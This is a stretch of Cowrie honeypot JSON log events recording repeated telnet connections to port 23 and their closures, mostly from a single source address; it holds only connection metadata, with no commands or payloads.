{"eventid":"cowrie.session.closed","duration":36.42711424827576,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:05.306413Z","src_ip":"194.163.135.148","session":"c4ee27a07877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46064,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa247510fc1a","protocol":"telnet","message":"New connection: 194.163.135.148:46064 (159.203.135.109:23) [session: aa247510fc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:05.705651Z"}
{"eventid":"cowrie.session.closed","duration":36.75838279724121,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:05.815305Z","src_ip":"194.163.135.148","session":"677692cc46dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46046,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3593f7fcbce","protocol":"telnet","message":"New connection: 194.163.135.148:46046 (159.203.135.109:23) [session: f3593f7fcbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:05.845505Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46074,"dst_ip":"159.203.135.109","dst_port":23,"session":"56f11c346eb2","protocol":"telnet","message":"New connection: 194.163.135.148:46074 (159.203.135.109:23) [session: 56f11c346eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:06.717342Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46098,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f64248b3e9b","protocol":"telnet","message":"New connection: 194.163.135.148:46098 (159.203.135.109:23) [session: 2f64248b3e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:08.579455Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46124,"dst_ip":"159.203.135.109","dst_port":23,"session":"366563d53a0b","protocol":"telnet","message":"New connection: 194.163.135.148:46124 (159.203.135.109:23) [session: 366563d53a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:09.661656Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b790d69563ea","protocol":"telnet","message":"New connection: 194.163.135.148:46108 (159.203.135.109:23) [session: b790d69563ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:10.073430Z"}
{"eventid":"cowrie.session.closed","duration":32.654386043548584,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:10.440568Z","src_ip":"194.163.135.148","session":"ffa6ecc1b95d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46162,"dst_ip":"159.203.135.109","dst_port":23,"session":"971996c08bc0","protocol":"telnet","message":"New connection: 194.163.135.148:46162 (159.203.135.109:23) [session: 971996c08bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:12.248730Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46168,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a5bbe32298f","protocol":"telnet","message":"New connection: 194.163.135.148:46168 (159.203.135.109:23) [session: 4a5bbe32298f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:13.071969Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46172,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb3768c44eb5","protocol":"telnet","message":"New connection: 194.163.135.148:46172 (159.203.135.109:23) [session: eb3768c44eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:13.344537Z"}
{"eventid":"cowrie.session.closed","duration":34.10735726356506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:13.554816Z","src_ip":"194.163.135.148","session":"e65b4a8e50c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46200,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf99e2d47fa","protocol":"telnet","message":"New connection: 194.163.135.148:46200 (159.203.135.109:23) [session: 7bf99e2d47fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:15.294134Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46206,"dst_ip":"159.203.135.109","dst_port":23,"session":"094aee1947d2","protocol":"telnet","message":"New connection: 194.163.135.148:46206 (159.203.135.109:23) [session: 094aee1947d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:15.597741Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46208,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ca0c6c36820","protocol":"telnet","message":"New connection: 194.163.135.148:46208 (159.203.135.109:23) [session: 5ca0c6c36820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:15.601886Z"}
{"eventid":"cowrie.session.closed","duration":31.070818424224854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:16.255643Z","src_ip":"194.163.135.148","session":"b7d76d54070d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46198,"dst_ip":"159.203.135.109","dst_port":23,"session":"47615eda7bb8","protocol":"telnet","message":"New connection: 194.163.135.148:46198 (159.203.135.109:23) [session: 47615eda7bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:16.284203Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54084,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b68afa3f4f","protocol":"telnet","message":"New connection: 103.115.172.252:54084 (10.17.0.5:23) [session: 41b68afa3f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:17.471975Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46266,"dst_ip":"159.203.135.109","dst_port":23,"session":"6566a6a43717","protocol":"telnet","message":"New connection: 194.163.135.148:46266 (159.203.135.109:23) [session: 6566a6a43717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:19.538556Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46268,"dst_ip":"159.203.135.109","dst_port":23,"session":"902a220c5281","protocol":"telnet","message":"New connection: 194.163.135.148:46268 (159.203.135.109:23) [session: 902a220c5281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:19.825823Z"}
{"eventid":"cowrie.session.closed","duration":33.0831732749939,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:21.064685Z","src_ip":"194.163.135.148","session":"f7c7277a348f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46290,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2ad7d9dd27","protocol":"telnet","message":"New connection: 194.163.135.148:46290 (159.203.135.109:23) [session: da2ad7d9dd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:21.426377Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46292,"dst_ip":"159.203.135.109","dst_port":23,"session":"53b4dff31b77","protocol":"telnet","message":"New connection: 194.163.135.148:46292 (159.203.135.109:23) [session: 53b4dff31b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:21.618466Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46284,"dst_ip":"159.203.135.109","dst_port":23,"session":"2663d91a11fe","protocol":"telnet","message":"New connection: 194.163.135.148:46284 (159.203.135.109:23) [session: 2663d91a11fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:21.876497Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46304,"dst_ip":"159.203.135.109","dst_port":23,"session":"a12d788bbb37","protocol":"telnet","message":"New connection: 194.163.135.148:46304 (159.203.135.109:23) [session: a12d788bbb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:22.740079Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":57430,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2a0d919cafb","protocol":"telnet","message":"New connection: 103.115.172.252:57430 (10.17.0.5:23) [session: d2a0d919cafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:22.786683Z"}
{"eventid":"cowrie.session.closed","duration":36.676990270614624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:23.117301Z","src_ip":"194.163.135.148","session":"f6d16d4c8c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46340,"dst_ip":"159.203.135.109","dst_port":23,"session":"377dafd3f4fe","protocol":"telnet","message":"New connection: 194.163.135.148:46340 (159.203.135.109:23) [session: 377dafd3f4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:25.492809Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4914100a7944","protocol":"telnet","message":"New connection: 194.163.135.148:46324 (159.203.135.109:23) [session: 4914100a7944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:25.500655Z"}
{"eventid":"cowrie.session.closed","duration":33.73968505859375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:25.559011Z","src_ip":"194.163.135.148","session":"6908af65e6fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.980666637420654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:25.598646Z","src_ip":"194.163.135.148","session":"6e3692c2f53b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78093957901001,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:25.607050Z","src_ip":"194.163.135.148","session":"a4b7c617e2c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46360,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b4887968c3","protocol":"telnet","message":"New connection: 194.163.135.148:46360 (159.203.135.109:23) [session: b8b4887968c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:25.926235Z"}
{"eventid":"cowrie.session.closed","duration":32.171621799468994,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:29.125832Z","src_ip":"194.163.135.148","session":"c252d83e57e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":57394,"dst_ip":"10.17.0.5","dst_port":23,"session":"2897bbfe4482","protocol":"telnet","message":"New connection: 103.115.172.252:57394 (10.17.0.5:23) [session: 2897bbfe4482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:29.733213Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46410,"dst_ip":"159.203.135.109","dst_port":23,"session":"91ad52d8a675","protocol":"telnet","message":"New connection: 194.163.135.148:46410 (159.203.135.109:23) [session: 91ad52d8a675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:31.505871Z"}
{"eventid":"cowrie.session.closed","duration":35.649898290634155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:32.170237Z","src_ip":"194.163.135.148","session":"1fd4c7ed4053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4f021e9c60","protocol":"telnet","message":"New connection: 194.163.135.148:46456 (159.203.135.109:23) [session: ec4f021e9c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:34.854225Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46466,"dst_ip":"159.203.135.109","dst_port":23,"session":"e55912296c1c","protocol":"telnet","message":"New connection: 194.163.135.148:46466 (159.203.135.109:23) [session: e55912296c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:36.350179Z"}
{"eventid":"cowrie.session.closed","duration":30.781675338745117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:36.627068Z","src_ip":"194.163.135.148","session":"f3593f7fcbce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.650920152664185,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:36.805377Z","src_ip":"194.163.135.148","session":"0d9f6751f6fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46476,"dst_ip":"159.203.135.109","dst_port":23,"session":"f017d0059e5e","protocol":"telnet","message":"New connection: 194.163.135.148:46476 (159.203.135.109:23) [session: f017d0059e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:37.217350Z"}
{"eventid":"cowrie.session.closed","duration":31.366833448410034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:38.084044Z","src_ip":"194.163.135.148","session":"56f11c346eb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46486,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c935e380ebc","protocol":"telnet","message":"New connection: 194.163.135.148:46486 (159.203.135.109:23) [session: 1c935e380ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:38.177966Z"}
{"eventid":"cowrie.session.closed","duration":32.65052008628845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:38.355848Z","src_ip":"194.163.135.148","session":"aa247510fc1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08382987976074,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:39.363296Z","src_ip":"194.163.135.148","session":"0fa026395cbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.881848096847534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:40.461181Z","src_ip":"194.163.135.148","session":"2f64248b3e9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46498,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa9acf8cb51","protocol":"telnet","message":"New connection: 194.163.135.148:46498 (159.203.135.109:23) [session: 4fa9acf8cb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:40.909749Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46508,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef783ff5671b","protocol":"telnet","message":"New connection: 194.163.135.148:46508 (159.203.135.109:23) [session: ef783ff5671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:42.644315Z"}
{"eventid":"cowrie.session.closed","duration":33.040793657302856,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:42.702306Z","src_ip":"194.163.135.148","session":"366563d53a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765188217163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:44.109616Z","src_ip":"194.163.135.148","session":"eb3768c44eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20833873748779,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:44.281663Z","src_ip":"194.163.135.148","session":"b790d69563ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.33557152748108,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:45.584216Z","src_ip":"194.163.135.148","session":"971996c08bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75987958908081,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:46.831761Z","src_ip":"194.163.135.148","session":"4a5bbe32298f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"1450f5a4b31a","protocol":"telnet","message":"New connection: 194.163.135.148:46552 (159.203.135.109:23) [session: 1450f5a4b31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:46.878613Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46530,"dst_ip":"159.203.135.109","dst_port":23,"session":"e90d084604ca","protocol":"telnet","message":"New connection: 194.163.135.148:46530 (159.203.135.109:23) [session: e90d084604ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:47.065099Z"}
{"eventid":"cowrie.session.closed","duration":32.02216577529907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:47.623956Z","src_ip":"194.163.135.148","session":"5ca0c6c36820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46560,"dst_ip":"159.203.135.109","dst_port":23,"session":"9550247c6572","protocol":"telnet","message":"New connection: 194.163.135.148:46560 (159.203.135.109:23) [session: 9550247c6572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:48.343424Z"}
{"eventid":"cowrie.session.closed","duration":33.10877966880798,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:48.402796Z","src_ip":"194.163.135.148","session":"7bf99e2d47fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46574,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5dca373cfa6","protocol":"telnet","message":"New connection: 194.163.135.148:46574 (159.203.135.109:23) [session: b5dca373cfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:49.253851Z"}
{"eventid":"cowrie.session.closed","duration":33.89841341972351,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:50.182435Z","src_ip":"194.163.135.148","session":"47615eda7bb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.063138246536255,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:51.888877Z","src_ip":"194.163.135.148","session":"902a220c5281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7949697971344,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:52.392587Z","src_ip":"194.163.135.148","session":"094aee1947d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46604,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8f58bf9153","protocol":"telnet","message":"New connection: 194.163.135.148:46604 (159.203.135.109:23) [session: da8f58bf9153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:52.710901Z"}
{"eventid":"cowrie.session.closed","duration":33.874030113220215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:53.412468Z","src_ip":"194.163.135.148","session":"6566a6a43717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.814703941345215,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:54.691072Z","src_ip":"194.163.135.148","session":"2663d91a11fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46618,"dst_ip":"159.203.135.109","dst_port":23,"session":"f05ba9be1017","protocol":"telnet","message":"New connection: 194.163.135.148:46618 (159.203.135.109:23) [session: f05ba9be1017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:54.976628Z"}
{"eventid":"cowrie.session.closed","duration":37.5326030254364,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:55.004461Z","src_ip":"103.115.172.252","session":"41b68afa3f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46596,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7ac6b2cd5d9","protocol":"telnet","message":"New connection: 194.163.135.148:46596 (159.203.135.109:23) [session: e7ac6b2cd5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:55.136713Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46626,"dst_ip":"159.203.135.109","dst_port":23,"session":"8175967e5e28","protocol":"telnet","message":"New connection: 194.163.135.148:46626 (159.203.135.109:23) [session: 8175967e5e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:55.330925Z"}
{"eventid":"cowrie.session.closed","duration":34.21956920623779,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:55.645837Z","src_ip":"194.163.135.148","session":"da2ad7d9dd27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.185386657714844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:55.925362Z","src_ip":"194.163.135.148","session":"a12d788bbb37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46624,"dst_ip":"159.203.135.109","dst_port":23,"session":"128284514a25","protocol":"telnet","message":"New connection: 194.163.135.148:46624 (159.203.135.109:23) [session: 128284514a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:56.275704Z"}
{"eventid":"cowrie.session.closed","duration":33.82682800292969,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:56.613373Z","src_ip":"103.115.172.252","session":"d2a0d919cafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46640,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2ef75eb69b5","protocol":"telnet","message":"New connection: 194.163.135.148:46640 (159.203.135.109:23) [session: f2ef75eb69b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:56.653545Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46580,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeeb5e23308b","protocol":"telnet","message":"New connection: 194.163.135.148:46580 (159.203.135.109:23) [session: eeeb5e23308b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:57.465692Z"}
{"eventid":"cowrie.session.closed","duration":35.986891746520996,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:57.605229Z","src_ip":"194.163.135.148","session":"53b4dff31b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.158419132232666,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:58.084567Z","src_ip":"194.163.135.148","session":"b8b4887968c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47804546356201,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:58.970728Z","src_ip":"194.163.135.148","session":"377dafd3f4fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46668,"dst_ip":"159.203.135.109","dst_port":23,"session":"807c7293f885","protocol":"telnet","message":"New connection: 194.163.135.148:46668 (159.203.135.109:23) [session: 807c7293f885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:59.006733Z"}
